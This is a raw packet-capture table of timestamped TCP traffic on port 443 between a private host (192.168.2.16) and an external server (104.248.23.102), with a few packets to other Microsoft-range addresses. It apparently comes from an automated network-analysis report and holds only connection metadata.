Jan 7, 2025 14:48:38.829941988 CET	443	49714	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:38.830080032 CET	49714	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:38.831248045 CET	49714	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:38.831310987 CET	443	49714	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:38.831469059 CET	49714	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:38.831475973 CET	443	49714	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:38.884280920 CET	49714	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:39.323230028 CET	443	49714	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:39.323275089 CET	443	49714	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:39.323282957 CET	443	49714	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:39.323328018 CET	443	49714	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:39.323342085 CET	443	49714	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:39.323353052 CET	443	49714	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:39.323388100 CET	49714	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:39.323404074 CET	443	49714	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:39.323460102 CET	49714	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:39.324635983 CET	443	49714	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:39.324671030 CET	443	49714	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:39.324721098 CET	49714	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:39.324727058 CET	443	49714	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:39.324749947 CET	49714	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:39.324776888 CET	49714	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:39.410583973 CET	443	49714	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:39.410617113 CET	443	49714	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:39.410778999 CET	49714	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:39.410811901 CET	443	49714	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:39.410870075 CET	49714	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:39.411851883 CET	443	49714	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:39.411869049 CET	443	49714	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:39.411973953 CET	49714	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:39.411979914 CET	443	49714	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:39.412024021 CET	49714	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:39.412889004 CET	443	49714	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:39.412904978 CET	443	49714	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:39.412981033 CET	49714	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:39.412996054 CET	443	49714	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:39.413078070 CET	49714	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:39.413945913 CET	443	49714	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:39.413964033 CET	443	49714	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:39.414017916 CET	49714	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:39.414031029 CET	443	49714	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:39.414057970 CET	49714	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:39.414083004 CET	49714	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:39.499562025 CET	443	49714	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:39.499582052 CET	443	49714	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:39.499749899 CET	49714	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:39.499778986 CET	443	49714	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:39.499830961 CET	49714	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:39.499927044 CET	443	49714	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:39.499953032 CET	443	49714	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:39.500001907 CET	49714	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:39.500008106 CET	443	49714	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:39.500050068 CET	49714	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:39.500838041 CET	443	49714	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:39.500859022 CET	443	49714	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:39.500936985 CET	49714	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:39.500942945 CET	443	49714	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:39.500988007 CET	49714	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:39.501204014 CET	443	49714	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:39.501219034 CET	443	49714	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:39.501257896 CET	443	49714	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:39.501277924 CET	49714	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:39.501283884 CET	443	49714	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:39.501312017 CET	49714	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:39.501348019 CET	443	49714	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:39.501403093 CET	49714	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:39.501801014 CET	49714	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:39.501815081 CET	443	49714	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:40.026607990 CET	49716	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:40.026647091 CET	443	49716	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:40.026719093 CET	49716	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:40.027015924 CET	49717	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:40.027060032 CET	443	49717	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:40.027118921 CET	49717	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:40.027337074 CET	49716	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:40.027348042 CET	443	49716	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:40.027477980 CET	49717	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:40.027488947 CET	443	49717	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:40.655399084 CET	443	49717	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:40.656032085 CET	49717	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:40.656054020 CET	443	49717	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:40.656409025 CET	443	49717	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:40.658168077 CET	49717	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:40.658251047 CET	443	49717	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:40.658539057 CET	49717	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:40.658616066 CET	49717	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:40.658637047 CET	443	49717	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:40.707340002 CET	443	49716	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:40.707592964 CET	49716	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:40.707606077 CET	443	49716	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:40.707932949 CET	443	49716	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:40.708241940 CET	49716	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:40.708304882 CET	443	49716	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:40.748274088 CET	49716	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:40.927105904 CET	443	49717	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:40.927185059 CET	443	49717	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:40.927232981 CET	49717	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:40.928199053 CET	49717	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:40.928211927 CET	443	49717	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:40.930402994 CET	49716	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:40.971337080 CET	443	49716	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:41.787568092 CET	443	49716	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:41.787595987 CET	443	49716	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:41.787604094 CET	443	49716	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:41.787626982 CET	443	49716	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:41.787662983 CET	443	49716	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:41.789097071 CET	49716	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:41.789123058 CET	443	49716	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:41.789138079 CET	443	49716	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:41.789194107 CET	49716	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:41.827533007 CET	49678	443	192.168.2.16	20.189.173.10
Jan 7, 2025 14:48:41.856761932 CET	443	49716	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:41.856787920 CET	443	49716	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:41.856832981 CET	49716	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:41.856844902 CET	443	49716	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:41.856887102 CET	49716	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:41.878423929 CET	443	49716	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:41.878474951 CET	443	49716	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:41.878504992 CET	49716	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:41.878514051 CET	443	49716	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:41.878530025 CET	443	49716	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:41.878555059 CET	49716	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:41.878590107 CET	49716	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:41.878731966 CET	49716	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:41.878746033 CET	443	49716	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:41.971951962 CET	49721	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:41.972004890 CET	443	49721	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:41.972115040 CET	49721	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:41.972558975 CET	49721	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:41.972574949 CET	443	49721	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:42.129287004 CET	49678	443	192.168.2.16	20.189.173.10
Jan 7, 2025 14:48:42.626439095 CET	443	49721	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:42.628149986 CET	49721	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:42.628180981 CET	443	49721	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:42.629277945 CET	443	49721	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:42.629342079 CET	49721	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:42.634876966 CET	49721	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:42.634957075 CET	443	49721	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:42.635163069 CET	49721	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:42.635173082 CET	443	49721	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:42.686247110 CET	49721	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:42.735337973 CET	49678	443	192.168.2.16	20.189.173.10
Jan 7, 2025 14:48:42.970262051 CET	49673	443	192.168.2.16	204.79.197.203
Jan 7, 2025 14:48:43.279879093 CET	443	49721	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:43.279901981 CET	443	49721	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:43.279908895 CET	443	49721	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:43.279913902 CET	443	49721	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:43.279927015 CET	443	49721	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:43.279939890 CET	443	49721	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:43.279967070 CET	49721	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:43.279997110 CET	443	49721	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:43.280015945 CET	49721	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:43.280054092 CET	49721	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:43.281157017 CET	443	49721	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:43.281176090 CET	443	49721	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:43.281233072 CET	49721	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:43.281240940 CET	443	49721	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:43.281320095 CET	49721	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:43.370539904 CET	443	49721	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:43.370563984 CET	443	49721	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:43.370635033 CET	443	49721	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:43.370635033 CET	49721	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:43.370667934 CET	443	49721	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:43.370685101 CET	49721	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:43.370717049 CET	443	49721	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:43.370959997 CET	49721	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:43.372061014 CET	49721	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:43.372087002 CET	443	49721	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:43.409698009 CET	49723	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:43.409748077 CET	443	49723	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:43.409812927 CET	49723	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:43.410414934 CET	49723	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:43.410435915 CET	443	49723	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:43.412830114 CET	49724	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:43.412883997 CET	443	49724	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:43.412950039 CET	49724	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:43.413131952 CET	49724	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:43.413149118 CET	443	49724	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:43.426557064 CET	49725	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:43.426597118 CET	443	49725	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:43.426677942 CET	49725	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:43.427048922 CET	49725	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:43.427067041 CET	443	49725	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:43.428541899 CET	49726	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:43.428589106 CET	443	49726	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:43.428646088 CET	49726	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:43.428869963 CET	49726	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:43.428894997 CET	443	49726	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:43.429212093 CET	49727	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:43.429229021 CET	443	49727	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:43.429286003 CET	49727	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:43.429510117 CET	49727	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:43.429522038 CET	443	49727	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:43.941231966 CET	49678	443	192.168.2.16	20.189.173.10
Jan 7, 2025 14:48:44.050749063 CET	443	49725	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.051074982 CET	49725	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:44.051104069 CET	443	49725	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.051434040 CET	443	49725	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.051899910 CET	49725	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:44.051964045 CET	443	49725	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.052068949 CET	49725	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:44.054795980 CET	443	49727	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.055423975 CET	49727	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:44.055429935 CET	443	49727	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.056531906 CET	443	49727	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.056592941 CET	49727	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:44.056888103 CET	49727	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:44.056962013 CET	443	49727	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.059909105 CET	443	49724	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.060096979 CET	49724	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:44.060112000 CET	443	49724	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.061088085 CET	443	49724	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.061142921 CET	49724	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:44.061419964 CET	443	49723	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.061441898 CET	49724	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:44.061491013 CET	443	49724	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.061564922 CET	49724	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:44.061569929 CET	443	49724	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.061671019 CET	49723	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:44.061700106 CET	443	49723	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.062036991 CET	443	49723	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.062294960 CET	49723	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:44.062357903 CET	443	49723	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.062515974 CET	49723	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:44.078531027 CET	443	49726	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.078732014 CET	49726	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:44.078742981 CET	443	49726	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.079797029 CET	443	49726	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.079863071 CET	49726	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:44.080128908 CET	49726	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:44.080192089 CET	443	49726	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.080261946 CET	49726	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:44.080267906 CET	443	49726	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.097248077 CET	49727	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:44.097265005 CET	443	49727	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.099328041 CET	443	49725	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.103322029 CET	443	49723	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.113236904 CET	49724	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:44.129245043 CET	49726	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:44.145276070 CET	49727	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:44.576198101 CET	443	49724	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.576221943 CET	443	49724	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.576229095 CET	443	49724	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.576292992 CET	49724	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:44.576307058 CET	443	49724	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.576364040 CET	49724	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:44.673124075 CET	443	49724	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.673132896 CET	443	49724	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.673171997 CET	443	49724	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.673183918 CET	443	49724	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.673218966 CET	49724	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:44.673233986 CET	443	49724	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.673261881 CET	49724	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:44.673293114 CET	49724	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:44.676105022 CET	443	49724	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.676124096 CET	443	49724	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.676203012 CET	49724	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:44.676208019 CET	443	49724	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.676254034 CET	49724	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:44.681809902 CET	443	49723	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.682049990 CET	49723	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:44.682075977 CET	443	49723	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.682126999 CET	49723	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:44.710494041 CET	443	49726	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.710952997 CET	443	49726	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.711019993 CET	49726	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:44.712277889 CET	49726	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:44.712295055 CET	443	49726	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.736604929 CET	49728	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:44.736640930 CET	443	49728	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.736912012 CET	49728	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:44.737114906 CET	49728	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:44.737133980 CET	443	49728	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.778202057 CET	443	49724	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.778254986 CET	443	49724	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.778278112 CET	49724	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:44.778287888 CET	443	49724	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.778321028 CET	443	49724	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:44.778330088 CET	49724	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:44.778661966 CET	49724	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:44.778670073 CET	443	49724	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.166965008 CET	443	49725	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.166989088 CET	443	49725	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.167004108 CET	443	49725	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.167057991 CET	49725	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:45.167083979 CET	443	49725	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.167117119 CET	49725	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:45.167125940 CET	49725	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:45.167853117 CET	443	49725	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.167896986 CET	443	49725	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.167928934 CET	49725	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:45.167936087 CET	443	49725	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.167965889 CET	49725	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:45.167974949 CET	49725	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:45.194212914 CET	49729	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:45.194257021 CET	443	49729	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.194338083 CET	49729	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:45.195842981 CET	49730	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:45.195875883 CET	443	49730	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.196198940 CET	49731	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:45.196208000 CET	443	49731	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.196230888 CET	49730	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:45.196257114 CET	49731	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:45.199332952 CET	49729	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:45.199345112 CET	443	49729	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.200891972 CET	49731	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:45.200906992 CET	443	49731	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.201069117 CET	49730	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:45.201082945 CET	443	49730	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.251746893 CET	443	49725	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.251770973 CET	443	49725	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.251876116 CET	49725	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:45.251876116 CET	49725	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:45.251887083 CET	443	49725	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.252074003 CET	49725	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:45.253072977 CET	443	49725	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.253093958 CET	443	49725	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.253132105 CET	443	49725	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.253190994 CET	49725	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:45.253196955 CET	443	49725	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.253211975 CET	443	49725	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.253241062 CET	49725	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:45.253262043 CET	49725	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:45.257128000 CET	49725	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:45.257138014 CET	443	49725	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.421108007 CET	443	49728	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.421426058 CET	49728	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:45.421453953 CET	443	49728	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.422471046 CET	443	49728	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.422548056 CET	49728	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:45.423623085 CET	49728	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:45.423681974 CET	443	49728	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.423891068 CET	49728	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:45.423898935 CET	443	49728	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.468225956 CET	49728	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:45.822365999 CET	443	49729	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.822688103 CET	49729	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:45.822701931 CET	443	49729	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.823014021 CET	443	49729	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:45.823407888 CET	49729	443	192.168.2.16	104.248.23.102
